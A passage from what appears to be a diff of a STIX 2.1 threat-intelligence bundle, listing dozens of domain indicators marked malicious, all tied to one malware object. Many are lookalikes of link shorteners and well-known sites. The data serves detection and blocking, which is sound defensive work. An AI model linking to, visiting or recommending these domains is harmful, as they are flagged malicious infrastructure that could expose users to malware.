"indicator--d2b90d65-c66c-42cb-9c3c-2594596793d2", + "created": "2023-07-28T12:14:36.201936Z", + "modified": "2023-07-28T12:14:36.201936Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='infosms-a.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.201936Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ade990e9-435a-4b38-adce-7ae4c45e21af", + "created": "2023-07-28T12:14:36.202234Z", + "modified": "2023-07-28T12:14:36.202234Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2b90d65-c66c-42cb-9c3c-2594596793d2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83961302-fd0c-4dcd-afe1-109feeef7454", + "created": "2023-07-28T12:14:36.202314Z", + "modified": "2023-07-28T12:14:36.202314Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speedymax.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.202314Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--72263e22-1e21-484f-8bfa-d3690a1f4640", + "created": "2023-07-28T12:14:36.20255Z", + "modified": "2023-07-28T12:14:36.20255Z", + "relationship_type": "indicates", + "source_ref": "indicator--83961302-fd0c-4dcd-afe1-109feeef7454", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6cd1bb78-323b-48cb-85c0-c3e18d62c71f", + "created": "2023-07-28T12:14:36.202625Z", + "modified": "2023-07-28T12:14:36.202625Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lylink.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.202625Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bac17765-bd6c-485e-9c59-4529727fa776", + "created": "2023-07-28T12:14:36.202892Z", + "modified": "2023-07-28T12:14:36.202892Z", + "relationship_type": "indicates", + "source_ref": "indicator--6cd1bb78-323b-48cb-85c0-c3e18d62c71f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10ab1574-0549-4a7f-a9ec-1dd683fddac2", + "created": "2023-07-28T12:14:36.202969Z", + "modified": "2023-07-28T12:14:36.202969Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellasjournal.website']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.202969Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cbf15659-6900-4a77-b72b-b484bc1f11d5", + "created": "2023-07-28T12:14:36.203272Z", + "modified": "2023-07-28T12:14:36.203272Z", + "relationship_type": "indicates", + "source_ref": "indicator--10ab1574-0549-4a7f-a9ec-1dd683fddac2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--287ea4f7-77b1-49bb-91aa-1ef3c08450b0", + "created": "2023-07-28T12:14:36.203346Z", + "modified": "2023-07-28T12:14:36.203346Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='link-protection.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.203346Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db487b30-66ce-445a-a8a9-75b323949c0c", + "created": "2023-07-28T12:14:36.203576Z", + "modified": "2023-07-28T12:14:36.203576Z", + "relationship_type": "indicates", + "source_ref": "indicator--287ea4f7-77b1-49bb-91aa-1ef3c08450b0", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d43399b7-89f3-44f5-b587-b6e3feadf357", + "created": "2023-07-28T12:14:36.203651Z", + "modified": "2023-07-28T12:14:36.203651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitlyrs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.203651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5359276-d752-4f5c-a4a5-aaeae54a425f", + "created": "2023-07-28T12:14:36.203889Z", + "modified": "2023-07-28T12:14:36.203889Z", + "relationship_type": "indicates", + "source_ref": "indicator--d43399b7-89f3-44f5-b587-b6e3feadf357", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b70aeb61-6c24-4c7b-acc9-ceb57b17851d", + "created": "2023-07-28T12:14:36.203969Z", + "modified": "2023-07-28T12:14:36.203969Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guardnew.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.203969Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ea50cbd-7e7c-4877-8344-9bcaff7103f5", + "created": "2023-07-28T12:14:36.204258Z", + "modified": "2023-07-28T12:14:36.204258Z", + "relationship_type": "indicates", + "source_ref": "indicator--b70aeb61-6c24-4c7b-acc9-ceb57b17851d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--153b5fbc-88e7-45da-8278-dd80e8561dbf", + "created": "2023-07-28T12:14:36.204332Z", + "modified": "2023-07-28T12:14:36.204332Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellasjournal.company']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.204332Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b67a7e11-eb10-4394-93cd-442f66ba0d33", + "created": "2023-07-28T12:14:36.204561Z", + "modified": "2023-07-28T12:14:36.204561Z", + "relationship_type": "indicates", + "source_ref": "indicator--153b5fbc-88e7-45da-8278-dd80e8561dbf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ec9af55-3e85-49ad-86d3-94a029a74790", + "created": "2023-07-28T12:14:36.204634Z", + "modified": "2023-07-28T12:14:36.204634Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bi.tly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.204634Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fd6b84e-6dc6-49c4-b3f5-2a4016098e4b", + "created": "2023-07-28T12:14:36.204868Z", + "modified": "2023-07-28T12:14:36.204868Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ec9af55-3e85-49ad-86d3-94a029a74790", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0250ecb-f5f7-4e42-9664-f4bbf45e37a6", + "created": "2023-07-28T12:14:36.204944Z", + "modified": "2023-07-28T12:14:36.204944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='myfcbk.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.204944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c425cfc-d7c5-48ff-b935-ca901a4d0675", + "created": "2023-07-28T12:14:36.205175Z", + "modified": "2023-07-28T12:14:36.205175Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0250ecb-f5f7-4e42-9664-f4bbf45e37a6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--411ceceb-5a79-43c2-8db4-9d18f31be217", + "created": "2023-07-28T12:14:36.205249Z", + "modified": "2023-07-28T12:14:36.205249Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-ly.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.205249Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a119cefe-6a4c-43c7-9e7d-edcfe5608c9a", + "created": "2023-07-28T12:14:36.20547Z", + "modified": "2023-07-28T12:14:36.20547Z", + "relationship_type": "indicates", + "source_ref": "indicator--411ceceb-5a79-43c2-8db4-9d18f31be217", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e716d31e-a4c0-4aa5-82d4-a02ad526a862", + "created": "2023-07-28T12:14:36.205543Z", + "modified": "2023-07-28T12:14:36.205543Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectivitycheck.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.205543Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47f08dc5-4288-4e52-bafa-49e8be12d4a2", + "created": "2023-07-28T12:14:36.205803Z", + "modified": "2023-07-28T12:14:36.205803Z", + "relationship_type": "indicates", + "source_ref": "indicator--e716d31e-a4c0-4aa5-82d4-a02ad526a862", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c28ee50-8efc-45cc-9d75-7182472a830d", + "created": "2023-07-28T12:14:36.205878Z", + "modified": "2023-07-28T12:14:36.205878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='synctimestamp.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.205878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e15075fa-26f5-473e-8f14-9382228e3bc5", + "created": "2023-07-28T12:14:36.206172Z", + "modified": "2023-07-28T12:14:36.206172Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c28ee50-8efc-45cc-9d75-7182472a830d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f0d827a-7eb6-46a0-a472-6f3032eb44c2", + "created": "2023-07-28T12:14:36.206244Z", + "modified": "2023-07-28T12:14:36.206244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adservices.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.206244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c30f684d-ef7c-4e00-8b4c-4e21f19d274a", + "created": "2023-07-28T12:14:36.206498Z", + "modified": "2023-07-28T12:14:36.206498Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f0d827a-7eb6-46a0-a472-6f3032eb44c2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56de369b-e06e-4574-a406-b12976012912", + "created": "2023-07-28T12:14:36.20657Z", + "modified": "2023-07-28T12:14:36.20657Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mytrips.quest']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.20657Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76067596-0ec5-4a26-8dfa-20789cf484ee", + "created": "2023-07-28T12:14:36.206826Z", + "modified": "2023-07-28T12:14:36.206826Z", + "relationship_type": "indicates", + "source_ref": "indicator--56de369b-e06e-4574-a406-b12976012912", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b02911a5-49c5-4aac-83fd-2432f8925fcd", + "created": "2023-07-28T12:14:36.2069Z", + "modified": "2023-07-28T12:14:36.2069Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uservicescheck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.2069Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d80854fd-d750-4ed2-9eae-d45f4021c198", + "created": "2023-07-28T12:14:36.207131Z", + "modified": "2023-07-28T12:14:36.207131Z", + "relationship_type": "indicates", + "source_ref": "indicator--b02911a5-49c5-4aac-83fd-2432f8925fcd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9c9720db-faa7-4094-bd40-a41ea8c2d30f", + "created": "2023-07-28T12:14:36.207202Z", + "modified": "2023-07-28T12:14:36.207202Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youarefired.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.207202Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c07ccbf6-a051-4452-bc35-2514f4e399f8", + "created": "2023-07-28T12:14:36.207452Z", + "modified": "2023-07-28T12:14:36.207452Z", + "relationship_type": "indicates", + "source_ref": "indicator--9c9720db-faa7-4094-bd40-a41ea8c2d30f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--047ec091-3d27-4f4d-8b62-8382d33c03f5", + "created": "2023-07-28T12:14:36.207525Z", + "modified": "2023-07-28T12:14:36.207525Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goldescent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.207525Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b7311d0-a8ca-4e86-a347-6b75b0ae9049", + "created": "2023-07-28T12:14:36.207763Z", + "modified": "2023-07-28T12:14:36.207763Z", + "relationship_type": "indicates", + "source_ref": "indicator--047ec091-3d27-4f4d-8b62-8382d33c03f5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9b22af9-a838-438a-8b37-590b1771d101", + "created": "2023-07-28T12:14:36.20784Z", + "modified": "2023-07-28T12:14:36.20784Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='xf.actor']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.20784Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--028abfa0-2434-40ef-aeff-efdd47252834", + "created": "2023-07-28T12:14:36.208096Z", + "modified": "2023-07-28T12:14:36.208096Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9b22af9-a838-438a-8b37-590b1771d101", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7f5470cc-7f72-47a0-9a73-0be7ae0f2fa7", + "created": "2023-07-28T12:14:36.20817Z", + "modified": "2023-07-28T12:14:36.20817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitlly.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.20817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1dca670-38d5-4863-9177-a4f4c42402e5", + "created": "2023-07-28T12:14:36.208396Z", + "modified": "2023-07-28T12:14:36.208396Z", + "relationship_type": "indicates", + "source_ref": "indicator--7f5470cc-7f72-47a0-9a73-0be7ae0f2fa7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1bd52725-7af0-4e35-a998-40bf880ccc8a", + "created": "2023-07-28T12:14:36.208468Z", + "modified": "2023-07-28T12:14:36.208468Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='itcgr.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.208468Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5df6f194-b481-4157-a5b3-77de2743715f", + "created": "2023-07-28T12:14:36.208688Z", + "modified": "2023-07-28T12:14:36.208688Z", + "relationship_type": "indicates", + "source_ref": "indicator--1bd52725-7af0-4e35-a998-40bf880ccc8a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a732cfc-b345-4a9b-8c44-4869feb3b32d", + "created": "2023-07-28T12:14:36.208762Z", + "modified": "2023-07-28T12:14:36.208762Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trkc.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.208762Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be840d60-5ae6-4bbb-9f4e-eea98e25f04b", + "created": "2023-07-28T12:14:36.208984Z", + "modified": "2023-07-28T12:14:36.208984Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a732cfc-b345-4a9b-8c44-4869feb3b32d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d27f69d6-33dc-4141-9b9f-d2b082f764d8", + "created": "2023-07-28T12:14:36.209057Z", + "modified": "2023-07-28T12:14:36.209057Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linkit.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.209057Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18de8026-bda2-4a9c-8616-552c7a7973ce", + "created": "2023-07-28T12:14:36.209347Z", + "modified": "2023-07-28T12:14:36.209347Z", + "relationship_type": "indicates", + "source_ref": "indicator--d27f69d6-33dc-4141-9b9f-d2b082f764d8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e828fbe-f6d3-48bc-b001-241ae34ffa60", + "created": "2023-07-28T12:14:36.209419Z", + "modified": "2023-07-28T12:14:36.209419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blacktrail.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.209419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5517842f-1cd7-4e52-8312-d6c81056afe5", + "created": "2023-07-28T12:14:36.20964Z", + "modified": "2023-07-28T12:14:36.20964Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e828fbe-f6d3-48bc-b001-241ae34ffa60", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43454efe-e7ff-4b8b-858d-fc643f9131d7", + "created": "2023-07-28T12:14:36.209711Z", + "modified": "2023-07-28T12:14:36.209711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='makeitshort.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.209711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be3c6ace-4134-497d-a022-41b111632370", + "created": "2023-07-28T12:14:36.209929Z", + "modified": "2023-07-28T12:14:36.209929Z", + "relationship_type": "indicates", + "source_ref": "indicator--43454efe-e7ff-4b8b-858d-fc643f9131d7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e064d466-1123-4353-8530-6189910db18e", + "created": "2023-07-28T12:14:36.210001Z", + "modified": "2023-07-28T12:14:36.210001Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='xnxx-hub.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.210001Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f45ec36b-73ab-48b6-b75d-6fc599587a8f", + "created": "2023-07-28T12:14:36.210224Z", + "modified": "2023-07-28T12:14:36.210224Z", + "relationship_type": "indicates", + "source_ref": "indicator--e064d466-1123-4353-8530-6189910db18e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--60427140-0c5a-4acb-8ff8-3de108169e04", + "created": "2023-07-28T12:14:36.210295Z", + "modified": "2023-07-28T12:14:36.210295Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='addons.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.210295Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2febc39-c531-4ab4-a41d-03f82485944b", + "created": "2023-07-28T12:14:36.210516Z", + "modified": "2023-07-28T12:14:36.210516Z", + "relationship_type": "indicates", + "source_ref": "indicator--60427140-0c5a-4acb-8ff8-3de108169e04", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42a517dc-1140-4293-88a6-55518eb4b664", + "created": "2023-07-28T12:14:36.210587Z", + "modified": "2023-07-28T12:14:36.210587Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='applepps.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.210587Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a34e9451-9898-4d89-b80d-c2ec63207d08", + "created": "2023-07-28T12:14:36.210812Z", + "modified": "2023-07-28T12:14:36.210812Z", + "relationship_type": "indicates", + "source_ref": "indicator--42a517dc-1140-4293-88a6-55518eb4b664", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d50e4957-703a-4424-90fd-5516413493df", + "created": "2023-07-28T12:14:36.210883Z", + "modified": "2023-07-28T12:14:36.210883Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wtc3333.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.210883Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2961aa7-a4e3-4bb8-a950-618ea964198f", + "created": "2023-07-28T12:14:36.211148Z", + "modified": "2023-07-28T12:14:36.211148Z", + "relationship_type": "indicates", + "source_ref": "indicator--d50e4957-703a-4424-90fd-5516413493df", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3445e43b-c92d-47d1-9613-5e79c8675ad5", + "created": "2023-07-28T12:14:36.211219Z", + "modified": "2023-07-28T12:14:36.211219Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alraeeenews.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.211219Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca957e01-a7c8-4c0d-8499-19877541fd98", + "created": "2023-07-28T12:14:36.211441Z", + "modified": "2023-07-28T12:14:36.211441Z", + "relationship_type": "indicates", + "source_ref": "indicator--3445e43b-c92d-47d1-9613-5e79c8675ad5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39a03690-3222-4180-a9eb-55fbc0c15aac", + "created": "2023-07-28T12:14:36.211513Z", + "modified": "2023-07-28T12:14:36.211513Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtu-be.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.211513Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec5e2649-7a47-464d-a2f0-fe496b49fc2b", + "created": "2023-07-28T12:14:36.211736Z", + "modified": "2023-07-28T12:14:36.211736Z", + "relationship_type": "indicates", + "source_ref": "indicator--39a03690-3222-4180-a9eb-55fbc0c15aac", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b87b7be3-f945-4a02-8ab5-7232441b54af", + "created": "2023-07-28T12:14:36.211808Z", + "modified": "2023-07-28T12:14:36.211808Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='almasryelyuom.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.211808Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80b17303-67e3-4ea9-ae4c-42d8f0fa0edf", + "created": "2023-07-28T12:14:36.212102Z", + "modified": "2023-07-28T12:14:36.212102Z", + "relationship_type": "indicates", + "source_ref": "indicator--b87b7be3-f945-4a02-8ab5-7232441b54af", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e894eb6-d412-4656-8708-15b6d54cf260", + "created": "2023-07-28T12:14:36.212174Z", + "modified": "2023-07-28T12:14:36.212174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='android-apps.tech']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.212174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--978e072e-1c1d-4c43-b00d-2dda0356f86d", + "created": "2023-07-28T12:14:36.212401Z", + "modified": "2023-07-28T12:14:36.212401Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e894eb6-d412-4656-8708-15b6d54cf260", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb6b259c-bf67-4bc9-bbfd-15bf357d93bf", + "created": "2023-07-28T12:14:36.212473Z", + "modified": "2023-07-28T12:14:36.212473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fisherman.engine.ninja']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.212473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e54ffaf3-f628-4a80-8cdd-5b683a66aa50", + "created": "2023-07-28T12:14:36.212732Z", + "modified": "2023-07-28T12:14:36.212732Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb6b259c-bf67-4bc9-bbfd-15bf357d93bf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5fb1faf1-84dc-4266-9ef7-21a63baa68c5", + "created": "2023-07-28T12:14:36.212804Z", + "modified": "2023-07-28T12:14:36.212804Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sitepref.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.212804Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--490950f7-1485-4b32-96b9-14339dff22d0", + "created": "2023-07-28T12:14:36.213034Z", + "modified": "2023-07-28T12:14:36.213034Z", + "relationship_type": "indicates", + "source_ref": "indicator--5fb1faf1-84dc-4266-9ef7-21a63baa68c5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--551bc015-b4be-42cb-a1d9-6c8863efce1e", + "created": "2023-07-28T12:14:36.21311Z", + "modified": "2023-07-28T12:14:36.21311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bookjob.club']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.21311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec7bb184-950a-486a-b5cd-94dc907585a7", + "created": "2023-07-28T12:14:36.213331Z", + "modified": "2023-07-28T12:14:36.213331Z", + "relationship_type": "indicates", + "source_ref": "indicator--551bc015-b4be-42cb-a1d9-6c8863efce1e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0476597a-d621-4114-b551-6ae2a951cef7", + "created": "2023-07-28T12:14:36.213402Z", + "modified": "2023-07-28T12:14:36.213402Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastuploads.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.213402Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7faed289-45c4-489a-ab93-e4e61476f7dc", + "created": "2023-07-28T12:14:36.213622Z", + "modified": "2023-07-28T12:14:36.213622Z", + "relationship_type": "indicates", + "source_ref": "indicator--0476597a-d621-4114-b551-6ae2a951cef7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 